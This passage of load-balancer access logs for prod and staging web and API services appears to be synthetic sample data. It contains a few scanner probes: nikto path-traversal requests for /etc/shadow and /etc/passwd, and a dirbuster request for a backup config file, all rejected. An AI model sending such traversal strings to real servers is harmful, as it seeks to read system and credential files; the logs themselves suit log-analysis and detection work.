AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d180-a00c03dc9f45406eacba1f13" "prod-web-alb.example.com" "-" 3 2024-11-01T01:50:40.837004Z "forward" "-" "-" "10.0.234.139:443" "302" "-" "-" -http 2024-11-01T01:50:42.677557Z staging-alb 47.95.131.111:60400 177.236.1.125:443 0.135090 0.585737 0.117373 200 200 383 13935 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d182-e39e56d4c9434252bd69bbcf" "staging-alb.example.com" "-" 3 2024-11-01T01:50:42.677557Z "forward" "-" "-" "177.236.1.125:443" "200" "-" "-" -https 2024-11-01T01:50:43.982638Z prod-web-alb 205.14.202.54:22349 10.0.177.151:443 0.049717 0.310735 0.047178 200 200 777 6426 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d183-cb41c4d004f14b0d8f23a867" "prod-web-alb.example.com" "-" 10 2024-11-01T01:50:43.982638Z "forward" "-" "-" "10.0.177.151:443" "200" "-" "-" -https 2024-11-01T01:50:45.362283Z prod-web-alb 50.158.102.23:61309 10.0.228.126:443 0.058862 0.172571 0.074096 200 200 665 6256 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d185-58d9cc6416c64b8197ee2dd0" "prod-web-alb.example.com" "-" 8 2024-11-01T01:50:45.362283Z "forward" "-" "-" "10.0.228.126:443" "200" "-" "-" -https 2024-11-01T01:50:46.715822Z prod-api-alb 45.155.205.35:45899 10.0.196.192:443 0.047233 0.072719 0.068460 404 404 34 9255 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d186-3c885a8978e24b819e6deaa9" "-" "-" 10 2024-11-01T01:50:46.715822Z "forward" "-" "-" "10.0.196.192:443" "404" "-" "-" -https 2024-11-01T01:50:46.905684Z prod-api-alb 240.150.103.200:18431 10.0.221.98:443 0.020717 0.250021 0.072300 200 200 36 5130 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d186-015289e9f60a4990936bfd39" "prod-api-alb.example.com" "-" 0 2024-11-01T01:50:46.905684Z "forward" "-" "-" "10.0.221.98:443" "200" "-" "-" -http 2024-11-01T01:50:47.971512Z staging-alb 181.157.198.202:26600 152.225.127.167:8080 0.009015 0.586325 0.125201 200 200 449 12424 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d187-15f3310a7a504ae1bc7652c8" "staging-alb.example.com" "-" 4 2024-11-01T01:50:47.971512Z "forward" "-" "-" "152.225.127.167:8080" "200" "-" "-" -https 2024-11-01T01:50:48.174903Z prod-api-alb 47.139.67.114:62807 10.0.8.156:443 0.061317 0.150306 0.058719 301 301 82 12740 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d188-378ced00eeda467ab95e7776" "prod-api-alb.example.com" "-" 1 2024-11-01T01:50:48.174903Z "forward" "-" "-" "10.0.8.156:443" "301" "-" "-" -https 2024-11-01T01:50:49.758735Z prod-api-alb 84.52.247.236:53867 10.0.166.98:443 0.052222 0.179015 0.071678 200 200 192 8065 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d189-4a7f3dfcbf46484cafd28d42" "prod-api-alb.example.com" "-" 3 2024-11-01T01:50:49.758735Z "forward" "-" "-" "10.0.166.98:443" "200" "-" "-" -https 2024-11-01T01:50:51.429416Z prod-web-alb 95.44.254.81:41772 10.0.237.178:443 0.057948 0.270481 0.090496 200 200 647 2954 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d18b-63066fa118b342c2903d2457" "prod-web-alb.example.com" "-" 4 2024-11-01T01:50:51.429416Z "forward" "-" "-" "10.0.237.178:443" "200" "-" "-" -https 2024-11-01T01:50:51.584677Z staging-alb 167.162.150.144:27758 168.184.100.245:8080 0.111757 0.145867 0.011837 302 302 417 6079 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d18b-6793202cb9414f9e95c27f04" "staging-alb.example.com" "-" 9 2024-11-01T01:50:51.584677Z "forward" "-" "-" "168.184.100.245:8080" "302" "-" "-" -https 2024-11-01T01:50:52.419968Z staging-alb 176.72.19.88:59060 186.54.130.236:80 0.021432 0.184451 0.102175 302 302 41 4658 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d18c-364cffb2677445f7bf90fef3" "staging-alb.example.com" "-" 2 2024-11-01T01:50:52.419968Z "forward" "-" "-" "186.54.130.236:80" "302" "-" "-" -https 2024-11-01T01:50:54.171914Z prod-api-alb 117.179.162.39:10272 10.0.133.105:443 0.026668 0.237926 0.022193 200 200 709 3761 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d18e-89cd7428be694e64966a8f6e" "prod-api-alb.example.com" "-" 4 2024-11-01T01:50:54.171914Z "forward" "-" "-" "10.0.133.105:443" "200" "-" "-" -https 2024-11-01T01:50:55.196322Z prod-web-alb 4.167.219.73:18930 10.0.212.230:443 0.048073 0.175586 0.057571 302 302 372 6211 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d18f-67df8f626f464a3abf807c50" "prod-web-alb.example.com" "-" 9 2024-11-01T01:50:55.196322Z "forward" "-" "-" "10.0.212.230:443" "302" "-" "-" -https 2024-11-01T01:50:56.668815Z prod-api-alb 59.161.197.165:41205 10.0.115.81:443 0.073013 0.105886 0.025769 200 200 532 6221 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d190-c95b6b3df3c64cc49302cdb2" "prod-api-alb.example.com" "-" 2 2024-11-01T01:50:56.668815Z "forward" "-" "-" "10.0.115.81:443" "200" "-" "-" -https 2024-11-01T01:50:57.130292Z prod-api-alb 124.43.82.151:57159 10.0.170.21:443 0.063372 0.440755 0.065974 200 200 970 10008 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d191-f7dcf156a6d84f7f9ed99365" "prod-api-alb.example.com" "-" 1 2024-11-01T01:50:57.130292Z "forward" "-" "-" "10.0.170.21:443" "200" "-" "-" -http 2024-11-01T01:50:58.685769Z staging-alb 52.132.134.44:42665 149.244.164.163:443 0.028127 0.710342 0.129338 302 302 425 10940 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d192-c233eee29ab74908a7cedcd0" "staging-alb.example.com" "-" 2 2024-11-01T01:50:58.685769Z "forward" "-" "-" "149.244.164.163:443" "302" "-" "-" -https 2024-11-01T01:50:59.241364Z prod-api-alb 245.230.222.143:57241 10.0.72.70:443 0.052822 0.152937 0.094696 302 302 35 11730 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d193-83a071c97d7f49c3a39fed43" "prod-api-alb.example.com" "-" 8 2024-11-01T01:50:59.241364Z "forward" "-" "-" "10.0.72.70:443" "302" "-" "-" -https 2024-11-01T01:50:59.555472Z prod-web-alb 44.206.177.226:45790 10.0.97.235:443 0.074655 0.325876 0.028345 200 200 982 8252 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d193-e62eb34fd8b540838d345093" "prod-web-alb.example.com" "-" 0 2024-11-01T01:50:59.555472Z "forward" "-" "-" "10.0.97.235:443" "200" "-" "-" -https 2024-11-01T01:51:00.610773Z prod-api-alb 146.207.150.184:34187 10.0.25.145:443 0.015515 0.256004 0.042752 200 200 5 1658 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d194-c4ed45ba705f4fe6b293c5ad" "prod-api-alb.example.com" "-" 3 2024-11-01T01:51:00.610773Z "forward" "-" "-" "10.0.25.145:443" "200" "-" "-" -https 2024-11-01T01:51:01.257572Z prod-api-alb 30.57.98.120:40776 10.0.229.152:443 0.077516 0.235353 0.078992 302 302 566 4174 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d195-a33c03da0e1543dc945d72b2" "prod-api-alb.example.com" "-" 10 2024-11-01T01:51:01.257572Z "forward" "-" "-" "10.0.229.152:443" "302" "-" "-" -https 2024-11-01T01:51:02.016693Z prod-api-alb 158.146.162.139:16211 10.0.175.154:443 0.016131 0.190416 0.088323 404 404 187 3190 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d196-399db07529e142e391520931" "prod-api-alb.example.com" "-" 7 2024-11-01T01:51:02.016693Z "forward" "-" "-" "10.0.175.154:443" "404" "-" "-" -https 2024-11-01T01:51:02.595899Z prod-web-alb 3.210.109.117:64459 10.0.233.187:443 0.015660 0.109462 0.006830 200 200 311 1488 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d196-fb862639b4b34f359a9eedb8" "prod-web-alb.example.com" "-" 9 2024-11-01T01:51:02.595899Z "forward" "-" "-" "10.0.233.187:443" "200" "-" "-" -http 2024-11-01T01:51:04.399949Z staging-alb 217.14.86.197:54434 231.177.88.73:80 0.004906 0.563620 0.027315 200 200 692 3716 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d198-8fa9380ca77b43db95853a49" "staging-alb.example.com" "-" 10 2024-11-01T01:51:04.399949Z "forward" "-" "-" "231.177.88.73:80" "200" "-" "-" -https 2024-11-01T01:51:06.074077Z prod-api-alb 71.59.112.153:52112 10.0.67.51:443 0.026274 0.128844 0.086276 200 200 33 6142 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d19a-525aaec2a96c4fd3b29f1c9f" "prod-api-alb.example.com" "-" 5 2024-11-01T01:51:06.074077Z "forward" "-" "-" "10.0.67.51:443" "200" "-" "-" -https 2024-11-01T01:51:07.800365Z prod-web-alb 244.77.64.152:53118 10.0.117.155:443 0.058045 0.385557 0.021722 200 200 616 7014 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d19b-88c673ebe5fa435faecc12dc" "prod-web-alb.example.com" "-" 0 2024-11-01T01:51:07.800365Z "forward" "-" "-" "10.0.117.155:443" "200" "-" "-" -http 2024-11-01T01:51:09.211057Z staging-alb 180.231.97.90:54393 129.2.163.163:443 0.044728 0.189621 0.086396 302 302 705 10408 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d19d-90acea942f8f4211ba8c53ef" "staging-alb.example.com" "-" 2 2024-11-01T01:51:09.211057Z "forward" "-" "-" "129.2.163.163:443" "302" "-" "-" -https 2024-11-01T01:51:09.878320Z prod-web-alb 43.232.16.98:49913 10.0.129.69:443 0.024165 0.495105 0.099870 301 301 10 5942 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d19d-faf3567b32d9468e86e031e1" "prod-web-alb.example.com" "-" 3 2024-11-01T01:51:09.878320Z "forward" "-" "-" "10.0.129.69:443" "301" "-" "-" -https 2024-11-01T01:51:10.857772Z prod-api-alb 128.95.128.130:50174 10.0.40.249:443 0.066504 0.026020 0.027215 302 302 40 3702 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d19e-71b0d531a12e4ec092870f5f" "prod-api-alb.example.com" "-" 4 2024-11-01T01:51:10.857772Z "forward" "-" "-" "10.0.40.249:443" "302" "-" "-" -http 2024-11-01T01:51:10.984346Z staging-alb 21.166.14.166:30430 117.7.103.8:8080 0.136219 0.347812 0.124194 404 404 326 10780 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d19e-8d4dacf1a38142739a854764" "staging-alb.example.com" "-" 7 2024-11-01T01:51:10.984346Z "forward" "-" "-" "117.7.103.8:8080" "404" "-" "-" -https 2024-11-01T01:51:11.352457Z staging-alb 115.176.200.79:10943 66.7.116.203:443 0.041726 0.362037 0.123485 200 200 997 11585 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d19f-317aeacde419416ca1c2fdf0" "staging-alb.example.com" "-" 0 2024-11-01T01:51:11.352457Z "forward" "-" "-" "66.7.116.203:443" "200" "-" "-" -http 2024-11-01T01:51:12.060624Z staging-alb 47.217.200.49:24688 126.180.162.184:443 0.055330 0.155707 0.014962 200 200 311 3533 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a0-087dd259ce974a3f86c844c8" "staging-alb.example.com" "-" 10 2024-11-01T01:51:12.060624Z "forward" "-" "-" "126.180.162.184:443" "200" "-" "-" -https 2024-11-01T01:51:13.382600Z prod-api-alb 68.205.87.22:21720 10.0.243.85:443 0.082901 0.117224 0.041463 200 200 30 12603 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1a1-a8dd3dc2e7c24ee390170415" "prod-api-alb.example.com" "-" 5 2024-11-01T01:51:13.382600Z "forward" "-" "-" "10.0.243.85:443" "200" "-" "-" -http 2024-11-01T01:51:14.686086Z staging-alb 45.155.205.157:20143 76.68.106.21:80 0.101139 0.145314 0.096699 403 403 409 10396 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a2-21eac7718c9c47489c932a80" "-" "-" 8 2024-11-01T01:51:14.686086Z "forward" "-" "-" "76.68.106.21:80" "403" "-" "-" -https 2024-11-01T01:51:15.161246Z staging-alb 90.56.152.95:32905 162.224.13.64:8080 0.002984 0.312218 0.004783 404 404 646 6039 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a3-ce67f26875a943e194750cf4" "staging-alb.example.com" "-" 5 2024-11-01T01:51:15.161246Z "forward" "-" "-" "162.224.13.64:8080" "404" "-" "-" -https 2024-11-01T01:51:16.100254Z prod-web-alb 106.58.27.85:28113 10.0.69.185:443 0.005868 0.417880 0.015050 302 302 23 466 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1a4-35858d3a91c544b29a054665" "prod-web-alb.example.com" "-" 10 2024-11-01T01:51:16.100254Z "forward" "-" "-" "10.0.69.185:443" "302" "-" "-" -http 2024-11-01T01:51:17.462838Z staging-alb 245.190.235.237:17631 23.134.195.86:8080 0.071316 0.377775 0.014808 200 200 903 1566 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a5-083b06b564914f699f06231f" "staging-alb.example.com" "-" 1 2024-11-01T01:51:17.462838Z "forward" "-" "-" "23.134.195.86:8080" "200" "-" "-" -https 2024-11-01T01:51:18.603631Z prod-api-alb 12.111.56.186:48337 10.0.125.148:443 0.099777 0.032945 0.012005 301 301 704 7308 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1a6-f897d37fc3b549a2964df160" "prod-api-alb.example.com" "-" 2 2024-11-01T01:51:18.603631Z "forward" "-" "-" "10.0.125.148:443" "301" "-" "-" -http 2024-11-01T01:51:19.257397Z staging-alb 85.179.174.239:29197 151.226.28.116:443 0.113279 0.389921 0.147873 200 200 872 10098 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a7-357de58b40734c7599593060" "staging-alb.example.com" "-" 0 2024-11-01T01:51:19.257397Z "forward" "-" "-" "151.226.28.116:443" "200" "-" "-" -https 2024-11-01T01:51:20.223690Z prod-web-alb 116.200.76.162:19109 10.0.118.171:443 0.040425 0.486593 0.014203 200 200 696 919 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1a8-f85c11e3a6234f798bd88f72" "prod-web-alb.example.com" "-" 7 2024-11-01T01:51:20.223690Z "forward" "-" "-" "10.0.118.171:443" "200" "-" "-" -https 2024-11-01T01:51:20.526228Z prod-web-alb 248.56.133.40:37923 10.0.67.191:443 0.094219 0.188987 0.041025 200 200 167 13850 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1a8-76f1585620a64b00bd06638f" "prod-web-alb.example.com" "-" 8 2024-11-01T01:51:20.526228Z "forward" "-" "-" "10.0.67.191:443" "200" "-" "-" -https 2024-11-01T01:51:20.958679Z staging-alb 132.1.11.221:45671 40.196.85.50:80 0.037264 0.039925 0.063206 404 404 462 5277 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1a8-dff91d18174a4b40a070ee84" "staging-alb.example.com" "-" 5 2024-11-01T01:51:20.958679Z "forward" "-" "-" "40.196.85.50:80" "404" "-" "-" -https 2024-11-01T01:51:21.915317Z prod-web-alb 36.202.247.176:32353 10.0.132.216:443 0.039681 0.260163 0.023867 301 301 933 5767 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1a9-28eda9bcc7b04a52b95a1ba6" "prod-web-alb.example.com" "-" 5 2024-11-01T01:51:21.915317Z "forward" "-" "-" "10.0.132.216:443" "301" "-" "-" -https 2024-11-01T01:51:22.984185Z prod-api-alb 206.78.31.5:43129 10.0.109.40:443 0.048127 0.105823 0.045811 404 404 423 5448 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1aa-0228c83e30a64c3fa655a4e9" "prod-api-alb.example.com" "-" 0 2024-11-01T01:51:22.984185Z "forward" "-" "-" "10.0.109.40:443" "404" "-" "-" -https 2024-11-01T01:51:24.584435Z prod-web-alb 118.129.145.24:34537 10.0.163.78:443 0.026922 0.233237 0.089207 302 302 37 11908 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1ac-6492fab65f2e4e9a8a5df779" "prod-web-alb.example.com" "-" 9 2024-11-01T01:51:24.584435Z "forward" "-" "-" "10.0.163.78:443" "302" "-" "-" -https 2024-11-01T01:51:24.964826Z prod-web-alb 75.109.142.164:40729 10.0.83.184:443 0.079779 0.306102 0.033623 200 200 140 13448 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1ac-fc5998cfae1e4005b01fdd10" "prod-web-alb.example.com" "-" 0 2024-11-01T01:51:24.964826Z "forward" "-" "-" "10.0.83.184:443" "200" "-" "-" -http 2024-11-01T01:51:25.932060Z staging-alb 185.181.110.51:49510 70.164.175.142:443 0.126665 0.687137 0.101706 403 403 825 13735 "POST /config.php~ HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1ad-e35b13a815374a2cb179eaa2" "-" "-" 7 2024-11-01T01:51:25.932060Z "forward" "-" "-" "70.164.175.142:443" "403" "-" "-" -http 2024-11-01T01:51:27.489758Z staging-alb 166.42.102.167:46369 243.242.51.42:443 0.132582 0.302087 0.052666 200 200 787 14282 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1af-424b68e7dd0f4a63abc4dc2d" "staging-alb.example.com" "-" 0 2024-11-01T01:51:27.489758Z "forward" "-" "-" "243.242.51.42:443" "200" "-" "-" -https 2024-11-01T01:51:29.126163Z prod-api-alb 83.246.98.152:61536 10.0.153.105:443 0.001411 0.274982 0.099276 200 200 249 4346 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 